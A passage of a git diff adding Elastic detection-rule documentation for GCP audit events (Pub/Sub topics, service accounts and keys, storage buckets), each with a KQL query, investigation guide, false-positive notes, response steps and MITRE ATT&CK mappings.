implementing additional monitoring or access controls to prevent unauthorized topic creation in the future. + + +*False positive analysis* + + +- Routine topic creation by automated processes or scripts can trigger false positives. Identify and document these processes to create exceptions in the monitoring system. +- Development and testing environments often involve frequent topic creation. Exclude these environments from alerts by using environment-specific tags or labels. +- Scheduled maintenance or updates by cloud administrators may result in legitimate topic creation. Coordinate with the operations team to whitelist these activities during known maintenance windows. +- Third-party integrations or services that rely on Pub/Sub for communication might create topics as part of their normal operation. Review and approve these integrations to prevent unnecessary alerts. +- Internal applications with dynamic topic creation as part of their workflow should be assessed and, if deemed non-threatening, added to an exception list to reduce noise. + + +*Response and remediation* + + +- Immediately review the audit logs to confirm the unauthorized creation of the Pub/Sub topic and identify the user or service account responsible for the action. +- Revoke or limit permissions for the identified user or service account to prevent further unauthorized actions, ensuring that only necessary permissions are granted. +- Delete the unauthorized Pub/Sub topic to prevent any potential data exfiltration or disruption of services. +- Conduct a thorough review of other Pub/Sub topics and related resources to ensure no additional unauthorized topics have been created. +- Notify the security team and relevant stakeholders about the incident for further investigation and to assess potential impacts on the organization. +- Implement additional monitoring and alerting for Pub/Sub topic creation events to detect and respond to similar threats more quickly in the future. +- Consider enabling organization-wide policies that restrict who can create Pub/Sub topics to reduce the risk of unauthorized actions. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.pubsub.v*.Publisher.CreateTopic and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-pub-sub-topic-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-pub-sub-topic-deletion.asciidoc new file mode 100644 index 0000000000..2956ba0966 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-pub-sub-topic-deletion.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-21-gcp-pub-sub-topic-deletion]] +=== GCP Pub/Sub Topic Deletion + +Identifies the deletion of a topic in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A publisher application creates and sends messages to a topic. Deleting a topic can interrupt message flow in the Pub/Sub pipeline. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/pubsub/docs/overview + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Pub/Sub Topic Deletion* + + +Google Cloud Platform's Pub/Sub service facilitates asynchronous messaging, allowing applications to communicate by publishing messages to topics. Deleting a topic can disrupt this communication, potentially as a tactic for defense evasion. Adversaries might exploit this by deleting topics to impair defenses or hide their tracks. The detection rule monitors audit logs for successful topic deletions, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.pubsub.v*.Publisher.DeleteTopic to identify the exact time and user or service account responsible for the deletion. +- Investigate the event.dataset:gcp.audit logs around the same timeframe to identify any related activities or anomalies that might indicate malicious intent or unauthorized access. +- Check the event.outcome:success to confirm the deletion was completed successfully and correlate it with any reported service disruptions or issues in the affected applications. +- Assess the permissions and roles of the user or service account involved in the deletion to determine if they had legitimate access and reasons for performing this action. +- Contact the user or team responsible for the deletion to verify if the action was intentional and authorized, and gather any additional context or justification for the deletion. +- Review any recent changes in IAM policies or configurations that might have inadvertently allowed unauthorized topic deletions. + + +*False positive analysis* + + +- Routine maintenance or updates by administrators can lead to legitimate topic deletions. To manage this, create exceptions for known maintenance periods or specific admin accounts. +- Automated scripts or tools that manage Pub/Sub topics might delete topics as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using service account identifiers. +- Development and testing environments often involve frequent topic creation and deletion. Exclude these environments from monitoring by filtering based on project IDs or environment tags. +- Scheduled clean-up jobs that remove unused or temporary topics can trigger false positives. Document these jobs and adjust the detection rule to ignore deletions occurring during their execution times. +- Changes in project requirements or architecture might necessitate topic deletions. Ensure that such changes are communicated and documented, allowing for temporary exceptions during the transition period. + + +*Response and remediation* + + +- Immediately assess the impact of the topic deletion by identifying affected services and applications that rely on the deleted topic for message flow. +- Restore the deleted topic from backup if available, or recreate the topic with the same configuration to resume normal operations. +- Notify relevant stakeholders, including application owners and security teams, about the incident and potential service disruptions. +- Review access logs and permissions to identify unauthorized access or privilege escalation that may have led to the topic deletion. +- Implement stricter access controls and permissions for Pub/Sub topics to prevent unauthorized deletions in the future. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if the deletion is part of a larger attack pattern. +- Enhance monitoring and alerting for Pub/Sub topic deletions to ensure rapid detection and response to similar incidents in the future. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.pubsub.v*.Publisher.DeleteTopic and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-service-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-service-account-creation.asciidoc new file mode 100644 index 0000000000..492222535b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-service-account-creation.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-21-gcp-service-account-creation]] +=== GCP Service Account Creation + +Identifies when a new service account is created in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If service accounts are not tracked and managed properly, they can present a security risk. An adversary may create a new service account to use during their operations in order to avoid using a standard user account and attempt to evade detection. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/service-accounts + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Service Account Creation* + + +In GCP, service accounts enable applications and VMs to interact with APIs securely. While essential for automation, they can be exploited if improperly managed. Adversaries might create service accounts to gain persistent access without detection. The detection rule monitors audit logs for successful service account creations, flagging potential unauthorized activities for further investigation. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action:google.iam.admin.v*.CreateServiceAccount to identify the time and source of the service account creation. +- Check the identity of the user or service that initiated the service account creation to determine if it aligns with expected administrative activities. +- Investigate the permissions and roles assigned to the newly created service account to assess if they are excessive or unusual for its intended purpose. +- Correlate the service account creation event with other recent activities in the environment to identify any suspicious patterns or anomalies. +- Verify if the service account is being used by any unauthorized applications or VMs by reviewing recent API calls and access logs associated with the account. + + +*False positive analysis* + + +- Routine service account creation by automated deployment tools or scripts can trigger false positives. Identify and document these tools, then create exceptions in the monitoring system to exclude these known activities. +- Service accounts created by trusted internal teams for legitimate projects may also be flagged. Establish a process for these teams to notify security personnel of planned service account creations, allowing for pre-approval and exclusion from alerts. +- Scheduled maintenance or updates that involve creating temporary service accounts can result in false positives. Coordinate with IT operations to understand their schedules and adjust monitoring rules to accommodate these activities. +- Third-party integrations that require service accounts might be mistakenly flagged. Maintain an inventory of authorized third-party services and their associated service accounts to quickly verify and exclude these from alerts. + + +*Response and remediation* + + +- Immediately disable the newly created service account to prevent any unauthorized access or actions. +- Review the IAM policy and permissions associated with the service account to ensure no excessive privileges were granted. +- Conduct a thorough audit of recent activities performed by the service account to identify any suspicious or unauthorized actions. +- Notify the security team and relevant stakeholders about the potential security incident for further investigation and coordination. +- Implement additional monitoring and alerting for service account creations to detect similar activities in the future. +- If malicious activity is confirmed, follow incident response procedures to contain and remediate any impact, including revoking access and conducting a security review of affected resources. +- Document the incident and response actions taken to improve future detection and response capabilities. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.CreateServiceAccount and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-service-account-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-service-account-deletion.asciidoc new file mode 100644 index 0000000000..1af7dfd29e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-service-account-deletion.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-21-gcp-service-account-deletion]] +=== GCP Service Account Deletion + +Identifies when a service account is deleted in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. An adversary may delete a service account in order to disrupt their target's business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/service-accounts + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Service Account Deletion* + + +In Google Cloud Platform, service accounts are crucial for enabling applications and VMs to perform authorized actions without user intervention. Adversaries may exploit this by deleting service accounts to disrupt operations or remove access. The detection rule monitors audit logs for successful service account deletions, flagging potential malicious activity to ensure timely investigation and response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action:google.iam.admin.v*.DeleteServiceAccount to identify the exact time and source of the deletion. +- Identify the user or service account that initiated the deletion by examining the actor information in the audit logs. +- Check the event.dataset:gcp.audit logs for any preceding or subsequent actions by the same user or service account to determine if there is a pattern of suspicious activity. +- Investigate the context of the deleted service account, including its permissions and the resources it had access to, to assess the potential impact of its deletion. +- Contact the relevant team or individual responsible for the service account to verify if the deletion was authorized and intentional. +- If unauthorized, review access controls and consider implementing additional security measures to prevent future unauthorized deletions. + + +*False positive analysis* + + +- Routine maintenance or updates may involve the deletion and recreation of service accounts. To manage this, create exceptions for known maintenance activities by excluding specific service account names or associated project IDs during these periods. +- Automated scripts or deployment tools might delete and recreate service accounts as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by filtering based on the user or service account executing the script. +- Organizational policy changes or restructuring can lead to legitimate service account deletions. Coordinate with the IT or security team to document these changes and adjust the detection rule to exclude these known events. +- Test environments often involve frequent creation and deletion of service accounts. Exclude test project IDs or environments from the detection rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately revoke any permissions associated with the deleted service account to prevent unauthorized access or actions by adversaries exploiting the deletion. +- Restore the deleted service account if possible, using GCP's undelete feature, to minimize disruption to business operations and restore normal functionality. +- Review and audit recent IAM activity logs to identify any unauthorized or suspicious actions that may have preceded or followed the service account deletion. +- Notify the security team and relevant stakeholders about the incident to ensure awareness and facilitate coordinated response efforts. +- Implement additional monitoring on critical service accounts to detect and alert on any further unauthorized deletion attempts. +- Conduct a root cause analysis to determine how the service account deletion was initiated and address any security gaps or misconfigurations that allowed it. +- Enhance access controls and consider implementing multi-factor authentication for actions involving service account management to prevent similar incidents in the future. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.DeleteServiceAccount and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-service-account-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-service-account-disabled.asciidoc new file mode 100644 index 0000000000..462482610d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-service-account-disabled.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-21-gcp-service-account-disabled]] +=== GCP Service Account Disabled + +Identifies when a service account is disabled in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. An adversary may disable a service account in order to disrupt to disrupt their target's business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/service-accounts + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Service Account Disabled* + + +In Google Cloud Platform, service accounts are crucial for applications and VMs to perform authorized actions without user intervention. Adversaries may disable these accounts to disrupt services, impacting business operations. The detection rule identifies successful disablement actions in audit logs, signaling potential malicious activity by correlating specific event actions and outcomes, thus enabling timely investigation and response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action:google.iam.admin.v*.DisableServiceAccount to identify the exact time and source of the disablement action. +- Identify the user or service account that performed the disablement by examining the actor information in the audit logs. +- Check for any recent changes or unusual activities associated with the disabled service account, such as modifications to permissions or roles. +- Investigate any related events or actions in the audit logs around the same timeframe to identify potential patterns or additional suspicious activities. +- Assess the impact of the disabled service account on business operations by determining which applications or services were using the account. +- Contact relevant stakeholders or application owners to verify if the disablement was authorized or if it was an unexpected action. + + +*False positive analysis* + + +- Routine maintenance activities by administrators may involve disabling service accounts temporarily. To manage this, create exceptions for known maintenance periods or specific administrator actions. +- Automated scripts or tools used for testing or deployment might disable service accounts as part of their process. Identify these scripts and exclude their actions from triggering alerts by using specific identifiers or tags. +- Organizational policy changes or restructuring might lead to intentional service account disablement. Document these changes and update the detection rule to recognize these legitimate actions. +- Service accounts associated with deprecated or retired applications may be disabled as part of cleanup efforts. Maintain an updated list of such applications and exclude related disablement actions from alerts. + + +*Response and remediation* + + +- Immediately isolate the affected service account by revoking its permissions to prevent further unauthorized actions. +- Review the audit logs to identify any other suspicious activities associated with the disabled service account and assess the potential impact on business operations. +- Re-enable the service account if it is determined to be legitimate and necessary for business functions, ensuring that it is secured with appropriate permissions and monitoring. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring and alerting for similar disablement actions on service accounts to detect and respond to future incidents promptly. +- Conduct a root cause analysis to understand how the service account was disabled and address any security gaps or misconfigurations that allowed the incident to occur. +- Consider implementing additional security measures such as multi-factor authentication and least privilege access to enhance the protection of service accounts. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.DisableServiceAccount and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-service-account-key-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-service-account-key-creation.asciidoc new file mode 100644 index 0000000000..2b97c9a881 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-service-account-key-creation.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-21-gcp-service-account-key-creation]] +=== GCP Service Account Key Creation + +Identifies when a new key is created for a service account in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If private keys are not tracked and managed properly, they can present a security risk. An adversary may create a new key for a service account in order to attempt to abuse the permissions assigned to that account and evade detection. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/service-accounts +* https://cloud.google.com/iam/docs/creating-managing-service-account-keys + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Service Account Key Creation* + + +In GCP, service accounts are crucial for applications to authenticate and interact with Google services securely. They use cryptographic keys for API access, which, if mismanaged, can be exploited by adversaries to gain unauthorized access. The detection rule monitors audit logs for new key creations, flagging potential misuse by identifying successful key generation events, thus helping to mitigate risks associated with unauthorized access. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.iam.admin.v*.CreateServiceAccountKey to identify the service account involved in the key creation. +- Check the event.dataset:gcp.audit logs to determine the user or process that initiated the key creation and verify if it aligns with expected behavior or scheduled tasks. +- Investigate the permissions and roles assigned to the service account to assess the potential impact of the new key being used maliciously. +- Examine the event.outcome:success logs to confirm the successful creation of the key and cross-reference with any recent changes or deployments that might justify the key creation. +- Contact the owner or responsible team for the service account to verify if the key creation was authorized and necessary for their operations. +- Review any recent alerts or incidents related to the service account to identify patterns or repeated unauthorized activities. + + +*False positive analysis* + + +- Routine key rotations by automated processes can trigger alerts. To manage this, identify and whitelist these processes by their service account names or associated metadata. +- Development and testing environments often generate new keys frequently. Exclude these environments from alerts by using environment-specific tags or labels. +- Scheduled maintenance activities by cloud administrators may involve key creation. Document these activities and create exceptions based on the timing and user accounts involved. +- Third-party integrations that require periodic key updates can cause false positives. Maintain a list of trusted third-party services and exclude their key creation events from alerts. +- Internal tools or scripts that programmatically create keys for operational purposes should be reviewed and, if deemed safe, added to an exception list based on their execution context. + + +*Response and remediation* + + +- Immediately revoke the newly created service account key to prevent unauthorized access. This can be done through the GCP Console or using the gcloud command-line tool. +- Conduct a thorough review of the service account's permissions to ensure they are aligned with the principle of least privilege. Remove any unnecessary permissions that could be exploited. +- Investigate the source of the key creation event by reviewing audit logs to identify the user or process responsible for the action. Determine if the action was authorized or if it indicates a potential compromise. +- If unauthorized access is suspected, rotate all keys associated with the affected service account and any other potentially compromised accounts to mitigate further risk. +- Implement additional monitoring and alerting for unusual service account activities, such as unexpected key creations or permission changes, to enhance detection of similar threats in the future. +- Escalate the incident to the security team for further investigation and to determine if additional containment or remediation actions are necessary, including notifying affected stakeholders if a breach is confirmed. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.CreateServiceAccountKey and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-storage-bucket-configuration-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-storage-bucket-configuration-modification.asciidoc new file mode 100644 index 0000000000..1e7b3ebaab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-storage-bucket-configuration-modification.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-21-gcp-storage-bucket-configuration-modification]] +=== GCP Storage Bucket Configuration Modification + +Identifies when the configuration is modified for a storage bucket in Google Cloud Platform (GCP). An adversary may modify the configuration of a storage bucket in order to weaken the security controls of their target's environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/storage/docs/key-terms#buckets + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Storage Bucket Configuration Modification* + + +Google Cloud Platform (GCP) storage buckets are essential for storing and managing data in the cloud. Adversaries may alter bucket configurations to weaken security, enabling unauthorized access or data exfiltration. The detection rule monitors audit logs for successful configuration changes, flagging potential defense evasion attempts by identifying suspicious modifications to storage settings. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "storage.buckets.update" to identify the user or service account responsible for the configuration change. +- Examine the event.outcome field to confirm the success of the configuration modification and gather details on what specific changes were made to the storage bucket settings. +- Investigate the context of the change by checking the timestamp of the event to determine if it aligns with any known maintenance or deployment activities. +- Assess the permissions and roles of the user or service account involved in the modification to ensure they have the appropriate level of access and determine if any privilege escalation occurred. +- Cross-reference the modified bucket's configuration with security policies and best practices to identify any potential security weaknesses introduced by the change. +- Check for any other recent suspicious activities or alerts related to the same user or service account to identify patterns of potentially malicious behavior. +- If unauthorized changes are suspected, initiate a response plan to revert the configuration to its previous state and strengthen access controls to prevent future incidents. + + +*False positive analysis* + + +- Routine administrative updates to storage bucket configurations by authorized personnel can trigger alerts. To manage this, maintain a list of known administrators and their typical activities, and create exceptions for these actions in the monitoring system. +- Automated processes or scripts that regularly update bucket configurations for maintenance or compliance purposes may cause false positives. Identify these processes and exclude their actions from triggering alerts by using service accounts or specific identifiers. +- Changes made by cloud management tools or third-party services integrated with GCP might be flagged. Review and whitelist these tools if they are verified and necessary for operations. +- Scheduled updates or configuration changes as part of regular security audits can appear suspicious. Document these schedules and incorporate them into the monitoring system to prevent unnecessary alerts. +- Temporary configuration changes for testing or development purposes might be misinterpreted as threats. Ensure that such activities are logged and communicated to the security team to adjust monitoring rules accordingly. + + +*Response and remediation* + + +- Immediately revoke any unauthorized access to the affected GCP storage bucket by reviewing and adjusting IAM policies to ensure only legitimate users have access. +- Conduct a thorough review of recent bucket configuration changes to identify any unauthorized modifications and revert them to their original secure state. +- Isolate the affected storage bucket from the network if suspicious activity is detected, to prevent further unauthorized access or data exfiltration. +- Notify the security operations team and relevant stakeholders about the incident for further investigation and to ensure coordinated response efforts. +- Implement additional logging and monitoring on the affected bucket to detect any further unauthorized access attempts or configuration changes. +- Review and update security policies and access controls for all GCP storage buckets to prevent similar incidents in the future. +- Escalate the incident to the cloud security team for a comprehensive analysis and to determine if further action is required, such as involving legal or compliance teams. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:"storage.buckets.update" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-storage-bucket-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-storage-bucket-deletion.asciidoc new file mode 100644 index 0000000000..1431847a2f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-storage-bucket-deletion.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-21-gcp-storage-bucket-deletion]] +=== GCP Storage Bucket Deletion + +Identifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/storage/docs/key-terms#buckets + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Storage Bucket Deletion* + + +Google Cloud Platform (GCP) storage buckets are essential for storing and managing data in cloud environments. Adversaries may target these buckets to delete critical data, causing operational disruptions. The detection rule monitors audit 